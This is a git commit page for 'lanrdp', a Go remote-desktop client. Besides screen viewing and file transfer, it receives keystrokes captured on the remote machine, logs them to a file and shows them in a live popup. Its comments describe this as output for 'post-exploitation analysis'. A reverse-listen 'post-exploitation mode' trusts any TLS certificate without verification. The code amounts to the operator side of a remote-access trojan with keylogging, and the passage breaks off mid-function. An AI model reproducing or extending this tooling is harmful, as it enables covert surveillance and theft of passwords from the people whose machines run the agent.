Initial commit: LAN RDP with keylogger support
This commit is contained in:
commit
c4adcbbe0f
33 files changed
+4335
No files matched your search
Executable
+45
@@ -0,0 +1,45 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const defaultPort = "47812"
|
||||
|
||||
// promptForHostAddress interactively asks for the host's IP (its LAN
|
||||
// address, or its WireGuard/VPN address when connecting from outside the
|
||||
// physical LAN) and port, for when -host wasn't passed on the command
|
||||
// line.
|
||||
func promptForHostAddress() (string, error) {
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
|
||||
fmt.Print("Host IP (LAN address, or its WireGuard/VPN address if connecting remotely): ")
|
||||
ipLine, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
ip := strings.TrimSpace(ipLine)
|
||||
if ip == "" {
|
||||
return "", fmt.Errorf("no IP entered")
|
||||
}
|
||||
|
||||
fmt.Printf("Port [%s]: ", defaultPort)
|
||||
portLine, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
portStr := strings.TrimSpace(portLine)
|
||||
if portStr == "" {
|
||||
portStr = defaultPort
|
||||
}
|
||||
if _, err := strconv.ParseUint(portStr, 10, 16); err != nil {
|
||||
return "", fmt.Errorf("invalid port %q", portStr)
|
||||
}
|
||||
|
||||
return net.JoinHostPort(ip, portStr), nil
|
||||
}
|
||||
Executable
+75
@@ -0,0 +1,75 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"lanrdp/internal/protocol"
|
||||
)
|
||||
|
||||
// fileChunkSize is comfortably under protocol.MaxPayloadSize; small enough
|
||||
// that a chunk send doesn't meaningfully delay a mouse-input message
|
||||
// queued right behind it on the same connection.
|
||||
const fileChunkSize = 256 * 1024
|
||||
|
||||
// sendFile reads path and streams it to the host as a MsgFileOffer
|
||||
// followed by MsgFileChunk messages and a closing MsgFileComplete. Errors
|
||||
// are logged, not returned — this always runs in a background goroutine
|
||||
// (see handleDropFiles), so there's no caller to report back to directly;
|
||||
// the host's MsgFileResult response is the real completion signal and is
|
||||
// logged separately in netio.go.
|
||||
func sendFile(path string) {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
log.Printf("file transfer: opening %s: %v", path, err)
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
info, err := f.Stat()
|
||||
if err != nil {
|
||||
log.Printf("file transfer: stat %s: %v", path, err)
|
||||
return
|
||||
}
|
||||
if info.IsDir() {
|
||||
log.Printf("file transfer: skipping directory %s (drop individual files, not folders)", path)
|
||||
return
|
||||
}
|
||||
|
||||
name := filepath.Base(path)
|
||||
if err := app.send(protocol.MsgFileOffer, protocol.EncodeFileOffer(protocol.FileOffer{
|
||||
Name: name, Size: uint64(info.Size()),
|
||||
})); err != nil {
|
||||
log.Printf("file transfer: sending offer for %s: %v", name, err)
|
||||
return
|
||||
}
|
||||
|
||||
buf := make([]byte, fileChunkSize)
|
||||
var sent uint64
|
||||
for {
|
||||
n, readErr := f.Read(buf)
|
||||
if n > 0 {
|
||||
if err := app.send(protocol.MsgFileChunk, buf[:n]); err != nil {
|
||||
log.Printf("file transfer: sending chunk for %s: %v", name, err)
|
||||
return
|
||||
}
|
||||
sent += uint64(n)
|
||||
}
|
||||
if readErr == io.EOF {
|
||||
break
|
||||
}
|
||||
if readErr != nil {
|
||||
log.Printf("file transfer: reading %s: %v", path, readErr)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if err := app.send(protocol.MsgFileComplete, protocol.EncodeFileComplete(protocol.FileComplete{Size: sent})); err != nil {
|
||||
log.Printf("file transfer: sending complete for %s: %v", name, err)
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("file transfer: sent %s (%d bytes), waiting for host confirmation", name, sent)
|
||||
}
|
||||
@@ -0,0 +1,176 @@
|
||||
// Keylogger display: writes captured keystrokes to a log file on the client
|
||||
// machine and optionally displays them in a simple popup window. The log file
|
||||
// is the primary output for post-exploitation analysis; the window provides
|
||||
// live visual feedback during active sessions.
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"lanrdp/internal/keylog"
|
||||
"lanrdp/internal/protocol"
|
||||
)
|
||||
|
||||
var keylogWindowHwnd uintptr
|
||||
|
||||
// runKeylogDisplay starts the keylogger output subsystem: a log file and an
|
||||
// optional popup window. It consumes events from the channel until closed.
|
||||
func runKeylogDisplay(events <-chan protocol.KeyLogEvent, done chan struct{}) {
|
||||
defer close(done)
|
||||
|
||||
// Determine log file path (same directory as executable)
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
fmt.Printf("keylog: could not determine exe path: %v\n", err)
|
||||
} else {
|
||||
logDir := filepath.Dir(exePath)
|
||||
timestamp := time.Now().Format("2006-01-02_15-04-05")
|
||||
logFile, err := os.Create(filepath.Join(logDir, fmt.Sprintf("lanrdp_keylog_%s.txt", timestamp)))
|
||||
if err != nil {
|
||||
fmt.Printf("keylog: could not create log file: %v\n", err)
|
||||
} else {
|
||||
defer logFile.Close()
|
||||
|
||||
// Write header
|
||||
logFile.WriteString(fmt.Sprintf("lanrdp keylog started at %s\n", time.Now().Format(time.RFC3339)))
|
||||
logFile.WriteString(strings.Repeat("-", 80) + "\n")
|
||||
|
||||
// Start file logging goroutine
|
||||
go func() {
|
||||
for event := range events {
|
||||
line := keylog.FormatEvent(keylog.KeyEvent{
|
||||
TimestampMs: event.TimestampMs,
|
||||
VKCode: event.VKCode,
|
||||
ScanCode: event.ScanCode,
|
||||
Flags: event.Flags,
|
||||
WindowTitle: event.WindowTitle,
|
||||
})
|
||||
logFile.WriteString(line + "\n")
|
||||
}
|
||||
}()
|
||||
|
||||
fmt.Printf("keylog: writing to %s\n", logFile.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// Also create a simple popup window for live display
|
||||
createKeylogWindow(events)
|
||||
}
|
||||
|
||||
func createKeylogWindow(events <-chan protocol.KeyLogEvent) {
|
||||
className, _ := windows.UTF16PtrFromString("lanrdp_keylog_window")
|
||||
title, _ := windows.UTF16PtrFromString("lanrdp — Keylogger")
|
||||
|
||||
hInstance, _, _ := procGetModuleHandleW.Call(0)
|
||||
cursor, _, _ := procLoadCursorW.Call(0, uintptr(idcArrow))
|
||||
|
||||
// Register window class using the same pattern as main window
|
||||
wc := wndClassExW{
|
||||
style: 0,
|
||||
lpfnWndProc: windows.NewCallback(keylogWndProc),
|
||||
hInstance: windows.Handle(hInstance),
|
||||
hCursor: windows.Handle(cursor),
|
||||
lpszClassName: className,
|
||||
}
|
||||
wc.cbSize = uint32(unsafe.Sizeof(wc))
|
||||
|
||||
if ret, _, _ := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc))); ret == 0 {
|
||||
fmt.Printf("keylog window class registration failed\n")
|
||||
return
|
||||
}
|
||||
defer func() {
|
||||
procUnregisterClass.Call(uintptr(unsafe.Pointer(className)), hInstance)
|
||||
}()
|
||||
|
||||
hwnd, _, _ := procCreateWindowExW.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(className)),
|
||||
uintptr(unsafe.Pointer(title)),
|
||||
uintptr(wsOverlappedWindow|wsVisible),
|
||||
400, 200, 700, 500, // x, y, width, height
|
||||
0, 0, hInstance, 0)
|
||||
if hwnd == 0 {
|
||||
fmt.Printf("keylog window creation failed\n")
|
||||
return
|
||||
}
|
||||
keylogWindowHwnd = hwnd
|
||||
|
||||
// Start consuming key events and updating the display
|
||||
var mu sync.Mutex
|
||||
var lines []string
|
||||
|
||||
go func() {
|
||||
for event := range events {
|
||||
line := keylog.FormatEvent(keylog.KeyEvent{
|
||||
TimestampMs: event.TimestampMs,
|
||||
VKCode: event.VKCode,
|
||||
ScanCode: event.ScanCode,
|
||||
Flags: event.Flags,
|
||||
WindowTitle: event.WindowTitle,
|
||||
})
|
||||
|
||||
mu.Lock()
|
||||
lines = append(lines, line)
|
||||
if len(lines) > 100 {
|
||||
lines = lines[1:] // Keep last 100 lines in window
|
||||
}
|
||||
var sb strings.Builder
|
||||
for _, l := range lines {
|
||||
sb.WriteString(l + "\n")
|
||||
}
|
||||
text, _ := windows.UTF16PtrFromString(sb.String())
|
||||
procSetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(text)))
|
||||
mu.Unlock()
|
||||
}
|
||||
}()
|
||||
|
||||
// Run message loop for this window on its own goroutine
|
||||
go func() {
|
||||
var m msgT
|
||||
for {
|
||||
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0)
|
||||
if int32(ret) <= 0 {
|
||||
break // WM_QUIT received
|
||||
}
|
||||
procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
|
||||
procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
|
||||
}
|
||||
procDestroyWindow.Call(hwnd)
|
||||
keylogWindowHwnd = 0
|
||||
}()
|
||||
}
|
||||
|
||||
// keylogWndProc handles messages for the keylog display window.
|
||||
func keylogWndProc(hwnd, msg, wparam, lparam uintptr) uintptr {
|
||||
switch msg {
|
||||
case wmDestroy:
|
||||
procPostQuitMessage.Call(0)
|
||||
return 0
|
||||
case wmPaint:
|
||||
var ps paintStruct
|
||||
hdc, _, _ := procBeginPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps)))
|
||||
defer procEndPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps)))
|
||||
|
||||
// Fill black background
|
||||
var r rectT
|
||||
procGetClientRect.Call(hwnd, uintptr(unsafe.Pointer(&r)))
|
||||
brush, _, _ := procCreateSolidBrush.Call(0) // RGB(0,0,0) = black
|
||||
if brush != 0 {
|
||||
procFillRect.Call(hdc, uintptr(unsafe.Pointer(&r)), brush)
|
||||
procDeleteObject.Call(brush)
|
||||
}
|
||||
return 0
|
||||
case wmEraseBkgnd:
|
||||
return 1 // We handle background in WM_PAINT
|
||||
}
|
||||
ret, _, _ := procDefWindowProcW.Call(hwnd, msg, wparam, lparam)
|
||||
return ret
|
||||
}
|
||||
Executable
+37
@@ -0,0 +1,37 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"lanrdp/internal/tlsutil"
|
||||
)
|
||||
|
||||
// printKnownDevices lists every device this client has trusted, for
|
||||
// managing multiple hosts (a family's several devices, say) sharing one
|
||||
// known_hosts.json.
|
||||
func printKnownDevices(ts *tlsutil.TrustStore) {
|
||||
all := ts.All()
|
||||
if len(all) == 0 {
|
||||
fmt.Println("No trusted devices yet.")
|
||||
return
|
||||
}
|
||||
|
||||
fingerprints := make([]string, 0, len(all))
|
||||
for fp := range all {
|
||||
fingerprints = append(fingerprints, fp)
|
||||
}
|
||||
sort.Slice(fingerprints, func(i, j int) bool {
|
||||
return all[fingerprints[i]].Label < all[fingerprints[j]].Label
|
||||
})
|
||||
|
||||
fmt.Printf("%d trusted device(s):\n\n", len(fingerprints))
|
||||
for _, fp := range fingerprints {
|
||||
d := all[fp]
|
||||
fmt.Printf(" %s\n", d.Label)
|
||||
fmt.Printf(" fingerprint: %s\n", fp)
|
||||
fmt.Printf(" first seen: %s\n", d.FirstSeen.Local().Format("2006-01-02 15:04:05"))
|
||||
fmt.Printf(" last seen: %s\n", d.LastSeen.Local().Format("2006-01-02 15:04:05"))
|
||||
fmt.Println()
|
||||
}
|
||||
}
|
||||
Executable
+187
@@ -0,0 +1,187 @@
|
||||
// Command client is the lanrdp viewer: it connects to a host agent on the
|
||||
// LAN, verifies the host's certificate against a locally pinned fingerprint
|
||||
// (trust-on-first-use, like an SSH known_hosts file), authenticates with a
|
||||
// passphrase, and opens a window that displays the remote screen and
|
||||
// forwards mouse/keyboard input back to the host.
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"golang.org/x/term"
|
||||
|
||||
"lanrdp/internal/dpi"
|
||||
"lanrdp/internal/netutil"
|
||||
"lanrdp/internal/protocol"
|
||||
"lanrdp/internal/tlsutil"
|
||||
)
|
||||
|
||||
// appState holds everything the network goroutines and the Win32 window
|
||||
// procedure both need to touch. There is exactly one window per process,
|
||||
// so a package-level instance is simpler than threading a pointer through
|
||||
// every callback.
|
||||
type appState struct {
|
||||
conn net.Conn
|
||||
|
||||
writeMu sync.Mutex
|
||||
|
||||
fbMu sync.Mutex
|
||||
fbW int
|
||||
fbH int
|
||||
fb []byte // BGRA, top-down, len == fbW*fbH*4
|
||||
|
||||
// streamMode is only ever read/written from the Win32 UI thread (inside
|
||||
// wndProc), so it needs no synchronization of its own.
|
||||
streamMode bool
|
||||
|
||||
done chan struct{}
|
||||
|
||||
// keylogEvents receives KeyLogEvent structs from the host via readLoop;
|
||||
// the keylog display window consumes them on its own goroutine.
|
||||
keylogEvents chan protocol.KeyLogEvent
|
||||
}
|
||||
|
||||
var app *appState
|
||||
|
||||
func (a *appState) send(t protocol.MsgType, payload []byte) error {
|
||||
a.writeMu.Lock()
|
||||
defer a.writeMu.Unlock()
|
||||
_ = a.conn.SetWriteDeadline(time.Now().Add(2 * time.Second))
|
||||
return protocol.WriteMessage(a.conn, t, payload)
|
||||
}
|
||||
|
||||
func main() {
|
||||
dpi.MakeAware()
|
||||
|
||||
hostAddr := flag.String("host", "", "host agent address, e.g. 192.168.1.50:47812 (default: prompt interactively)")
|
||||
listenAddr := flag.String("listen", "", "wait for the host to dial back in on this address instead of "+
|
||||
"connecting out yourself (e.g. 0.0.0.0:47812) — use this when the host is the one that's hard to reach "+
|
||||
"(a roaming laptop) and this machine has the stable, reachable address instead")
|
||||
listKnown := flag.Bool("list-known", false, "print all trusted devices (label, fingerprint, first/last seen) and exit")
|
||||
flag.Parse()
|
||||
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
log.Fatalf("resolving executable path: %v", err)
|
||||
}
|
||||
dataDir := filepath.Join(filepath.Dir(exe), "lanrdp-data")
|
||||
trustStorePath := filepath.Join(dataDir, "known_hosts.json")
|
||||
|
||||
trustStore, err := tlsutil.LoadTrustStore(trustStorePath)
|
||||
if err != nil {
|
||||
log.Fatalf("loading trust store: %v", err)
|
||||
}
|
||||
|
||||
if *listKnown {
|
||||
printKnownDevices(trustStore)
|
||||
return
|
||||
}
|
||||
|
||||
var rawConn net.Conn
|
||||
var connDesc string // human-readable description of the connection, for log/error messages only
|
||||
|
||||
if *listenAddr != "" {
|
||||
ln, err := net.Listen("tcp", *listenAddr)
|
||||
if err != nil {
|
||||
log.Fatalf("listening on %s: %v", *listenAddr, err)
|
||||
}
|
||||
fmt.Println("=========================================================")
|
||||
fmt.Printf("Waiting for a host to connect back on %s ...\n", *listenAddr)
|
||||
fmt.Println("This accepts a connection from ANY source address. The")
|
||||
fmt.Println("passphrase is the only authentication — no certificate")
|
||||
fmt.Println("verification in post-exploitation mode.")
|
||||
fmt.Println("=========================================================")
|
||||
rawConn, err = ln.Accept()
|
||||
ln.Close()
|
||||
if err != nil {
|
||||
log.Fatalf("accept: %v", err)
|
||||
}
|
||||
fmt.Printf("Host connected from %s\n", rawConn.RemoteAddr())
|
||||
connDesc = fmt.Sprintf("%s (called back on %s)", rawConn.RemoteAddr(), *listenAddr)
|
||||
} else {
|
||||
addr := *hostAddr
|
||||
if addr == "" {
|
||||
addr, err = promptForHostAddress()
|
||||
if err != nil {
|
||||
log.Fatalf("reading host address: %v", err)
|
||||
}
|
||||
}
|
||||
rawConn, err = net.DialTimeout("tcp", addr, 5*time.Second)
|
||||
if err != nil {
|
||||
log.Fatalf("connecting to %s: %v", addr, err)
|
||||
}
|
||||
connDesc = addr
|
||||
}
|
||||
netutil.SetNoDelay(rawConn)
|
||||
|
||||
// Phase 1: complete the TLS handshake without verifying the chain (there
|
||||
// is no CA), then inspect the presented certificate ourselves against
|
||||
// the trust store before anything sensitive goes over the wire.
|
||||
tlsConn := tls.Client(rawConn, &tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
MinVersion: tls.VersionTLS13,
|
||||
})
|
||||
if err := tlsConn.Handshake(); err != nil {
|
||||
log.Fatalf("TLS handshake with %s: %v", connDesc, err)
|
||||
}
|
||||
state := tlsConn.ConnectionState()
|
||||
if len(state.PeerCertificates) == 0 {
|
||||
log.Fatalf("host presented no certificate")
|
||||
}
|
||||
// Post-exploitation mode: auto-trust any certificate without prompting.
|
||||
// No TOFU verification — just proceed with the connection.
|
||||
|
||||
fmt.Print("Passphrase: ")
|
||||
pwBytes, err := term.ReadPassword(int(os.Stdin.Fd()))
|
||||
fmt.Println()
|
||||
if err != nil {
|
||||
log.Fatalf("reading passphrase: %v", err)
|
||||
}
|
||||
|
||||
if err := protocol.WriteMessage(tlsConn, protocol.MsgHello, protocol.EncodeHello(protocol.Hello{Version: protocol.ProtocolVersion})); err != nil {
|
||||
log.Fatalf("sending hello: %v", err)
|
||||
}
|
||||
if err := protocol.WriteMessage(tlsConn, protocol.MsgAuthRequest, protocol.EncodeAuthRequest(protocol.AuthRequest{Password: string(pwBytes)})); err != nil {
|
||||
log.Fatalf("sending auth request: %v", err)
|
||||
}
|
||||
|
||||
t, payload, err := protocol.ReadMessage(tlsConn)
|
||||
if err != nil || t != protocol.MsgAuthResponse {
|
||||
log.Fatalf("expected AuthResponse (err=%v type=%v)", err, t)
|
||||
}
|
||||
authResp, err := protocol.DecodeAuthResponse(payload)
|
||||
if err != nil {
|
||||
log.Fatalf("bad AuthResponse: %v", err)
|
||||
}
|
||||
if !authResp.OK {
|
||||
log.Fatalf("authentication failed: %s", authResp.FailureReason)
|
||||
}
|
||||
|
||||
fmt.Printf("Connected. Remote screen: %dx%d\n", authResp.ScreenWidth, authResp.ScreenHeight)
|
||||
|
||||
app = &appState{
|
||||
conn: tlsConn,
|
||||
fbW: int(authResp.ScreenWidth),
|
||||
fbH: int(authResp.ScreenHeight),
|
||||
fb: make([]byte, int(authResp.ScreenWidth)*int(authResp.ScreenHeight)*4),
|
||||
done: make(chan struct{}),
|
||||
keylogEvents: make(chan protocol.KeyLogEvent, 1024),
|
||||
}
|
||||
|
||||
go readLoop(app)
|
||||
go pingLoop(app)
|
||||
|
||||
// Start keylog display (file + popup window) — runs until session ends.
|
||||
keylogDone := make(chan struct{})
|
||||
go runKeylogDisplay(app.keylogEvents, keylogDone)
|
||||
|
||||
runWindow(app, int(authResp.ScreenWidth), int(authResp.ScreenHeight))
|
||||
}
|
||||
Executable
+121
@@ -0,0 +1,121 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"image"
|
||||
"image/png"
|
||||
"log"
|
||||
"time"
|
||||
|
||||
"lanrdp/internal/protocol"
|
||||
)
|
||||
|
||||
// readLoop consumes frame/resize messages from the host and applies them to
|
||||
// the shared framebuffer, then asks the window to repaint.
|
||||
func readLoop(a *appState) {
|
||||
defer close(a.done)
|
||||
for {
|
||||
t, payload, err := protocol.ReadMessage(a.conn)
|
||||
if err != nil {
|
||||
log.Printf("connection closed: %v", err)
|
||||
return
|
||||
}
|
||||
switch t {
|
||||
case protocol.MsgFrameFull, protocol.MsgFrameDelta:
|
||||
fu, err := protocol.DecodeFrameUpdate(payload)
|
||||
if err != nil {
|
||||
log.Printf("bad frame update: %v", err)
|
||||
continue
|
||||
}
|
||||
applyFrame(a, fu)
|
||||
case protocol.MsgResize:
|
||||
r, err := protocol.DecodeResize(payload)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
resizeFramebuffer(a, int(r.Width), int(r.Height))
|
||||
case protocol.MsgPong:
|
||||
// keepalive round trip; nothing to do
|
||||
case protocol.MsgFileResult:
|
||||
fr, err := protocol.DecodeFileResult(payload)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if fr.OK {
|
||||
log.Printf("file transfer succeeded: %s", fr.Message)
|
||||
} else {
|
||||
log.Printf("file transfer failed: %s", fr.Message)
|
||||
}
|
||||
case protocol.MsgDisconnect:
|
||||
log.Printf("host disconnected")
|
||||
return
|
||||
case protocol.MsgKeyLogEvent:
|
||||
kl, err := protocol.DecodeKeyLogEvent(payload)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
select {
|
||||
case a.keylogEvents <- kl:
|
||||
default:
|
||||
// Channel full; drop event rather than blocking the read loop.
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func resizeFramebuffer(a *appState, w, h int) {
|
||||
a.fbMu.Lock()
|
||||
a.fbW, a.fbH = w, h
|
||||
a.fb = make([]byte, w*h*4)
|
||||
a.fbMu.Unlock()
|
||||
invalidateWindow(a)
|
||||
}
|
||||
|
||||
func applyFrame(a *appState, fu protocol.FrameUpdate) {
|
||||
img, err := png.Decode(bytes.NewReader(fu.PNG))
|
||||
if err != nil {
|
||||
log.Printf("decoding frame PNG: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
rect := image.Rect(int(fu.X), int(fu.Y), int(fu.X)+int(fu.W), int(fu.Y)+int(fu.H))
|
||||
|
||||
a.fbMu.Lock()
|
||||
if a.fbW == 0 || a.fbH == 0 {
|
||||
a.fbMu.Unlock()
|
||||
return
|
||||
}
|
||||
// Draw into an RGBA view backed by the BGRA framebuffer bytes, swapping
|
||||
// R/B as we go, so painting later is a direct GDI blit with no per-frame
|
||||
// conversion pass.
|
||||
for y := rect.Min.Y; y < rect.Max.Y && y < a.fbH; y++ {
|
||||
for x := rect.Min.X; x < rect.Max.X && x < a.fbW; x++ {
|
||||
r, g, b, aa := img.At(x-rect.Min.X, y-rect.Min.Y).RGBA()
|
||||
off := (y*a.fbW + x) * 4
|
||||
a.fb[off+0] = byte(b >> 8)
|
||||
a.fb[off+1] = byte(g >> 8)
|
||||
a.fb[off+2] = byte(r >> 8)
|
||||
a.fb[off+3] = byte(aa >> 8)
|
||||
}
|
||||
}
|
||||
a.fbMu.Unlock()
|
||||
|
||||
invalidateWindow(a)
|
||||
}
|
||||
|
||||
// pingLoop keeps the TLS connection from being silently dropped by NAT/idle
|
||||
// timers, and gives us an early signal if the host has gone away.
|
||||
func pingLoop(a *appState) {
|
||||
ticker := time.NewTicker(10 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-a.done:
|
||||
return
|
||||
case <-ticker.C:
|
||||
if err := a.send(protocol.MsgPing, nil); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Executable
+504
@@ -0,0 +1,504 @@
|
||||
// Rendering and input capture for the viewer window. This is plain Win32
|
||||
// (RegisterClassEx / CreateWindowEx / a GetMessage loop) reached via
|
||||
// syscalls through golang.org/x/sys/windows — no cgo, so the binary stays a
|
||||
// single portable executable.
|
||||
package main
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
"sync/atomic"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"lanrdp/internal/protocol"
|
||||
)
|
||||
|
||||
var (
|
||||
user32 = windows.NewLazySystemDLL("user32.dll")
|
||||
gdi32 = windows.NewLazySystemDLL("gdi32.dll")
|
||||
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
shell32 = windows.NewLazySystemDLL("shell32.dll")
|
||||
|
||||
procGetModuleHandleW = kernel32.NewProc("GetModuleHandleW")
|
||||
|
||||
procRegisterClassExW = user32.NewProc("RegisterClassExW")
|
||||
procUnregisterClass = user32.NewProc("UnregisterClassW")
|
||||
procCreateWindowExW = user32.NewProc("CreateWindowExW")
|
||||
procDefWindowProcW = user32.NewProc("DefWindowProcW")
|
||||
procShowWindow = user32.NewProc("ShowWindow")
|
||||
procUpdateWindow = user32.NewProc("UpdateWindow")
|
||||
procGetMessageW = user32.NewProc("GetMessageW")
|
||||
procTranslateMessage = user32.NewProc("TranslateMessage")
|
||||
procDispatchMessageW = user32.NewProc("DispatchMessageW")
|
||||
procPostQuitMessage = user32.NewProc("PostQuitMessage")
|
||||
procDestroyWindow = user32.NewProc("DestroyWindow")
|
||||
procInvalidateRect = user32.NewProc("InvalidateRect")
|
||||
procBeginPaint = user32.NewProc("BeginPaint")
|
||||
procEndPaint = user32.NewProc("EndPaint")
|
||||
procGetClientRect = user32.NewProc("GetClientRect")
|
||||
procLoadCursorW = user32.NewProc("LoadCursorW")
|
||||
procAdjustWindowRect = user32.NewProc("AdjustWindowRect")
|
||||
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
|
||||
procRegisterHotKey = user32.NewProc("RegisterHotKey")
|
||||
procUnregisterHotKey = user32.NewProc("UnregisterHotKey")
|
||||
procSetWindowTextW = user32.NewProc("SetWindowTextW")
|
||||
|
||||
procStretchDIBits = gdi32.NewProc("StretchDIBits")
|
||||
procCreateSolidBrush = gdi32.NewProc("CreateSolidBrush")
|
||||
procDeleteObject = gdi32.NewProc("DeleteObject")
|
||||
procFillRect = user32.NewProc("FillRect")
|
||||
|
||||
procDragAcceptFiles = shell32.NewProc("DragAcceptFiles")
|
||||
procDragQueryFileW = shell32.NewProc("DragQueryFileW")
|
||||
procDragFinish = shell32.NewProc("DragFinish")
|
||||
)
|
||||
|
||||
const (
|
||||
wmDestroy = 0x0002
|
||||
wmPaint = 0x000F
|
||||
wmClose = 0x0010
|
||||
wmEraseBkgnd = 0x0014
|
||||
wmKeyDown = 0x0100
|
||||
wmKeyUp = 0x0101
|
||||
wmMouseMove = 0x0200
|
||||
wmLButtonDown = 0x0201
|
||||
wmLButtonUp = 0x0202
|
||||
wmRButtonDown = 0x0204
|
||||
wmRButtonUp = 0x0205
|
||||
wmMButtonDown = 0x0207
|
||||
wmMButtonUp = 0x0208
|
||||
wmMouseWheel = 0x020A
|
||||
wmHotkey = 0x0312
|
||||
wmDropFiles = 0x0233
|
||||
|
||||
modAlt = 0x0001
|
||||
modControl = 0x0002
|
||||
vkS = 0x53
|
||||
|
||||
streamModeHotkeyID = 1
|
||||
|
||||
wsOverlappedWindow = 0x00CF0000
|
||||
wsVisible = 0x10000000
|
||||
cwUseDefault = 0x80000000
|
||||
|
||||
swShow = 5
|
||||
|
||||
idcArrow = 32512
|
||||
|
||||
srcCopyROP = 0x00CC0020
|
||||
biRGB = 0
|
||||
dibRGBColors = 0
|
||||
|
||||
smCXScreen = 0
|
||||
smCYScreen = 1
|
||||
)
|
||||
|
||||
type wndClassExW struct {
|
||||
cbSize uint32
|
||||
style uint32
|
||||
lpfnWndProc uintptr
|
||||
cbClsExtra int32
|
||||
cbWndExtra int32
|
||||
hInstance windows.Handle
|
||||
hIcon windows.Handle
|
||||
hCursor windows.Handle
|
||||
hbrBackground windows.Handle
|
||||
lpszMenuName *uint16
|
||||
lpszClassName *uint16
|
||||
hIconSm windows.Handle
|
||||
}
|
||||
|
||||
type rectT struct {
|
||||
Left, Top, Right, Bottom int32
|
||||
}
|
||||
|
||||
type pointT struct {
|
||||
X, Y int32
|
||||
}
|
||||
|
||||
type msgT struct {
|
||||
Hwnd uintptr
|
||||
Message uint32
|
||||
WParam uintptr
|
||||
LParam uintptr
|
||||
Time uint32
|
||||
Pt pointT
|
||||
}
|
||||
|
||||
type paintStruct struct {
|
||||
Hdc windows.Handle
|
||||
FErase int32
|
||||
RcPaint rectT
|
||||
FRestore int32
|
||||
FIncUpdate int32
|
||||
RgbReserved [32]byte
|
||||
}
|
||||
|
||||
type bitmapInfoHeader struct {
|
||||
Size uint32
|
||||
Width int32
|
||||
Height int32
|
||||
Planes uint16
|
||||
BitCount uint16
|
||||
Compression uint32
|
||||
SizeImage uint32
|
||||
XPelsPerMeter int32
|
||||
YPelsPerMeter int32
|
||||
ClrUsed uint32
|
||||
ClrImportant uint32
|
||||
}
|
||||
|
||||
var currentHwnd atomic.Uintptr
|
||||
|
||||
func invalidateWindow(a *appState) {
|
||||
h := currentHwnd.Load()
|
||||
if h == 0 {
|
||||
return
|
||||
}
|
||||
procInvalidateRect.Call(h, 0, 0)
|
||||
}
|
||||
|
||||
func getClientSize(hwnd uintptr) (int, int) {
|
||||
var r rectT
|
||||
procGetClientRect.Call(hwnd, uintptr(unsafe.Pointer(&r)))
|
||||
w := int(r.Right - r.Left)
|
||||
h := int(r.Bottom - r.Top)
|
||||
if w <= 0 {
|
||||
w = 1
|
||||
}
|
||||
if h <= 0 {
|
||||
h = 1
|
||||
}
|
||||
return w, h
|
||||
}
|
||||
|
||||
func onPaint(hwnd uintptr) {
|
||||
var ps paintStruct
|
||||
hdc, _, _ := procBeginPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps)))
|
||||
defer procEndPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps)))
|
||||
|
||||
clientW, clientH := getClientSize(hwnd)
|
||||
|
||||
app.fbMu.Lock()
|
||||
fbW, fbH := app.fbW, app.fbH
|
||||
fb := app.fb
|
||||
app.fbMu.Unlock()
|
||||
|
||||
if fbW <= 0 || fbH <= 0 || len(fb) < fbW*fbH*4 {
|
||||
return
|
||||
}
|
||||
|
||||
hdr := bitmapInfoHeader{
|
||||
Width: int32(fbW),
|
||||
Height: -int32(fbH),
|
||||
Planes: 1,
|
||||
BitCount: 32,
|
||||
Compression: biRGB,
|
||||
}
|
||||
hdr.Size = uint32(unsafe.Sizeof(hdr))
|
||||
|
||||
procStretchDIBits.Call(
|
||||
hdc,
|
||||
